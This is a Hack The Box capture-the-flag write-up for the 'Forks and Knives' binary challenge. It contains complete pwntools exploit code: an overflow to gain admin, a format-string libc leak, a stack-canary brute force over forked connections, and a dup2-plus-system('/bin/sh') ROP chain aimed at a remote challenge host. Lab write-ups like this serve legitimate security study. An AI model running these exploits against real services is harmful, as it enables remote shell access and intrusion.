Hack The Box - Forks and Knives

Challenge description

Here at the Forks & Knives restaurant we recently hired a new IT guy to add some features to our ordering and reservation system. Apparently, he isn't very good. We want to hire you to test our system. Can you find any problems?

In this challenge we are given an elf file and the libc.so.6 file that its using on the remote instance.

Before we begin, we run pwninit in order to patch the binary and make it use the given libc file.

pwninit

Solving the challenge

First we decompile using ida and find the bugs.

main

Here the first thing we see is a menu that allows us to preform diffrent actions. We will later see that the first step to solve this challenge is to become admin.

Become admin

We have a buffer overflow vulnerability that allows us to read more then 16 bytes into byte_4030

buffer

We can see that the byte_4030 is located right above the is_not_admin variable which is used to check if we are admin or not. What we do here is send 16 bytes of data and then some null bytes.

p.sendline(b'A'*16+b'\x00\x00\x00\x00')

This will allow us to set the is_not_admin to 0 and pass the following check.

Leak libc

reservation

Here, this function, allows us to read a value, which supposedley is the number of people that we want to reserve a table for. But when the data is written to the reservations.txt file, it does so via the sprinf function which allows us to leak the libc address.

p.sendline(f'%2$p'.encode())

After that we just inspect the reservation list by choosing the 5th option in the menu and calculate the offset to the libc base address.

libc_base = leak - 1132827

This is the function that reads the file and prints it to the screen.

inspec

Bruteforce the stack canary

When we start the program it opens a port locally and listens for connections. For every connection made it makes a fork and runs the main function again. This means that we can bruteforce the stack canary by making a lot of connections and checking if the program crashes.

canary = b''  # Start with an empty canary
for byte_pos in range(0,8):  # Assuming the canary is 8 bytes long

    for i in range(0, 256):
        cur_byte = i
        print("Trying:", bytes([cur_byte]))

        # p = remote('localhost', 1337, level='warn')
        p=remote("83.136.254.158",41564,level='warn')
        p.wait(0.1)

        
        p.sendlineafter(b'Can I have your name please?',b'a'*16)
        # Clear reservation
        p.sendline(b'6')

        # Reserve table
        p.sendlineafter(b'+--------------------------------------+',b'1')
        p.sendafter(b'How many people would you like to reserve the table for?',b'2')# Leak address or %2$p as the format string

        p.wait(0.1)
        p.sendlineafter(b'+--------------------------------------+',b'2')

        # Send buffer overflow payload
        p.sendlineafter(b'What would you like to order?',b'A'*255)
        p.sendline(b'y')


        # Construct payload to test the current canary byte
        payload = b'B' * 8 + canary + bytes([cur_byte])

        # Send payload to check canary byte
        p.sendafter(b'What else will you add to your order?',payload)

        p.recvuntil(b'You order has been placed!')

        # Wait to process the response
        p.wait(0.1)
        try:
            # Try to receive the response
            response = p.clean(timeout=1)
            # print(response)
            if b'+---' in response:
                # Success case: we found the correct byte for this position
                print(f"Found canary byte: {hex(cur_byte)}")
                canary += bytes([cur_byte])
                p.close()
                break  # Move to the next byte position
            else:
                # If the response doesn't indicate success, it may be a bad guess
                # print(f"Wrong guess: {hex(cur_byte)}")
                p.close()

        except EOFError:
            print(f"Wrong guess: {hex(cur_byte)}")
            # If the program closes the connection, it means the byte was incorrect
            # print(f"Failed attempt for byte: {hex(cur_byte)}")
            p.close()
            pass
        
        # Close the connection
        p.close()


canary= u64(canary.ljust(8,b'\x00'))
info("Canary: "+hex(canary))

Buffer overflow to Ret2Libc

Now that we have the canary and the libc base address, if we were to find a buffer overflow vulnerability that would allow us to overwrite the return address, we could preform a ret2libc attack.

And we do have such a vulnerability in the place_order function.

place_order

However, this ret2libc attack is a bit different then the usual ones. We can’t just call system with the address of /bin/sh because the program is running in a forked process and the /bin/sh is not available in the forked process. So we use the dup2 function to redirect the stdin, stdout and stderr to the socket and then call system.

# Send buffer overflow payload
p.sendline(b'A' * 255)
p.sendline(b'y')

# Construct payload to test the current canary byte

rop=ROP(libc)


pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi=rop.find_gadget(['pop rsi','ret'])[0]
ret=rop.find_gadget(['ret'])[0]
binsh=next(libc.search(b'/bin/sh\x00'))
system=libc.sym['system']
dup2_addr=libc.sym['dup2']

# gdb.attach(p)

sockfd=4
payload=flat(
    b'B'*8, 
    p64(canary),
    b'B'*8,
    p64(ret),
    p64(pop_rdi),
    p64(sockfd),
    p64(pop_rsi),
    p64(0),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rsi),
    p64(1),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rsi),
    p64(2),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rdi),
    p64(binsh),
    p64(system)

)
# Send payload to check canary byte

p.send(payload)

p.interactive()

Full exploit

from pwn import *

# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

elf = context.binary=ELF("./server_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")


# start=process('./server_patched')
# p=remote('localhost', 1337,level='warn')
p=remote("83.136.254.158",41564,level='warn')


# Become Manager
p.sendline(b'A'*16+b'\x00\x00\x00\x00')

# Clear reservation
p.sendline(b'6')

p.wait(0.2)

#Reserve Table

# p.interactive()

p.sendline(b'1') #Reserve Table

p.sendline(f'%2$p'.encode())  #number of people


# Inspect reservation

p.sendline(b'5')

p.wait(0.2)
#1132827
leak=p.recv().split(b'\n')
leak=leak[-25].split(b' ')[-1]
leak=int(leak,16)


libc_base = leak - 1132827
libc.address = libc_base


info("LIBC base"+hex(libc.address))

# gdb.attach(start)

p.wait(0.2)

# Brute force the canary
p.close()
p=None
canary = b''  # Start with an empty canary
for byte_pos in range(0,8):  # Assuming the canary is 8 bytes long

    for i in range(0, 256):
        cur_byte = i
        print("Trying:", bytes([cur_byte]))

        # p = remote('localhost', 1337, level='warn')
        p=remote("83.136.254.158",41564,level='warn')
        p.wait(0.1)

        
        p.sendlineafter(b'Can I have your name please?',b'a'*16)
        # Clear reservation
        p.sendline(b'6')

        # Reserve table
        p.sendlineafter(b'+--------------------------------------+',b'1')
        p.sendafter(b'How many people would you like to reserve the table for?',b'2')# Leak address or %2$p as the format string

        p.wait(0.1)
        p.sendlineafter(b'+--------------------------------------+',b'2')

        # Send buffer overflow payload
        p.sendlineafter(b'What would you like to order?',b'A'*255)
        p.sendline(b'y')


        # Construct payload to test the current canary byte
        payload = b'B' * 8 + canary + bytes([cur_byte])

        # Send payload to check canary byte
        p.sendafter(b'What else will you add to your order?',payload)

        p.recvuntil(b'You order has been placed!')

        # Wait to process the response
        p.wait(0.1)
        try:
            # Try to receive the response
            response = p.clean(timeout=1)
            # print(response)
            if b'+---' in response:
                # Success case: we found the correct byte for this position
                print(f"Found canary byte: {hex(cur_byte)}")
                canary += bytes([cur_byte])
                p.close()
                break  # Move to the next byte position
            else:
                # If the response doesn't indicate success, it may be a bad guess
                # print(f"Wrong guess: {hex(cur_byte)}")
                p.close()

        except EOFError:
            print(f"Wrong guess: {hex(cur_byte)}")
            # If the program closes the connection, it means the byte was incorrect
            # print(f"Failed attempt for byte: {hex(cur_byte)}")
            p.close()
            pass
        
        # Close the connection
        p.close()


canary= u64(canary.ljust(8,b'\x00'))
info("Canary: "+hex(canary))

####################RET 2 LIBC##############################
# p=remote('localhost',1337,level='warn')
p=remote("83.136.254.158",41564,level='warn')
p.wait(0.1)

# Become manager
p.sendline(b'A' * 16 )

# Clear reservation
p.sendline(b'6')
p.wait(0.1)

# Reserve table
p.sendline(b'1')
p.sendline(f'%2$p'.encode())  # Leak address or %2$p as the format string

p.wait(0.1)
p.sendline(b'2')

# Send buffer overflow payload
p.sendline(b'A' * 255)
p.sendline(b'y')

# Construct payload to test the current canary byte

rop=ROP(libc)


pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi=rop.find_gadget(['pop rsi','ret'])[0]
ret=rop.find_gadget(['ret'])[0]
binsh=next(libc.search(b'/bin/sh\x00'))
system=libc.sym['system']
dup2_addr=libc.sym['dup2']

# gdb.attach(p)

sockfd=4
payload=flat(
    b'B'*8, 
    p64(canary),
    b'B'*8,
    p64(ret),
    p64(pop_rdi),
    p64(sockfd),
    p64(pop_rsi),
    p64(0),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rsi),
    p64(1),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rsi),
    p64(2),
    p64(dup2_addr),
    p64(ret),
    p64(pop_rdi),
    p64(binsh),
    p64(system)

)
# Send payload to check canary byte

p.send(payload)

# Wait to process the response

p.interactive()

Conclusion

This was a fun challenge that allowed me to learn 2 new things that I haven’t done before. The first one was bruteforcing the stack canary via forked procceses and the second one was using the dup2 function to redirect the stdin, stdout and stderr to the socket, in order for our ret2libc attack to work.